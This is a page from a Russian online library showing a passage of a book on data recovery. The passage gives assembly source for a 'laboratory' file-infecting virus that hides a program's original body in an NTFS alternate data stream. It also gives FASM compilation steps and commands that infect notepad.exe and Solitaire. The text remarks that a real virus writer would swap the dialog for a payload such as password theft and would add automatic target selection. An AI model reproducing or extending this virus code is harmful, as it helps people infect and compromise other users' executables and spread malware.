Вход/Регистрация
Восстановление данных. Практическое руководство
вернуться

Касперски Крис

Шрифт:

push foo

push ebp

call [RenameFile]

; Копируем в foo основной поток dst

push eax

push ebp

push buf

call [CopyFile]

; Добавляем к своему имени имя потока NTFS

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2

; Копируем foo в dst:bar

push eax

push buf

push foo

call [CopyFile]

; Здесь не помешает добавить коррекцию длины заражаемого файла

; Удаляем foo

push foo

call [DeleteFile]

; Выводим диагностическое сообщение,

; подтверждающее успешность заражения файла

push 0

push aInfected

push ebp

push 0

call [MessageBox]

; Выход из вируса

go2exit:

push 0

call [ExitProcess]

section '.data' data readable writeable

foo db "foo",0 ; Имя временного файла

code_name db ":bar",0 ; Имя потока, в котором будет...

code_name_end: ; ...сохранено основное тело

; Различные текстовые строки, выводимые вирусом

aInfected db "infected",0

aHello db "Hello, you are hacked"

; Различные буфера для служебных целей

buf rb 1000

xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду:

fasm.exe xcode.asm
. Если все сделано правильно, на диске должен появиться файл
xcode.exe
. Запустим его на выполнение с опцией командной строки
– -*
, за которой следует имя файла, который требуется заразить, например, notepad.exe (
xcode.exe --* notepad.exe
). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении

Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.

Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду

notepad.exe --* sol.exe
. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение самостоятельно.

  • Читать дальше
  • 1
  • ...
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • ...

Ебукер (ebooker) – онлайн-библиотека на русском языке. Книги доступны онлайн, без утомительной регистрации. Огромный выбор и удобный дизайн, позволяющий читать без проблем. Добавляйте сайт в закладки! Все произведения загружаются пользователями: если считаете, что ваши авторские права нарушены – используйте форму обратной связи.

Полезные ссылки

  • Моя полка

Контакты

  • chitat.ebooker@gmail.com

Подпишитесь на рассылку: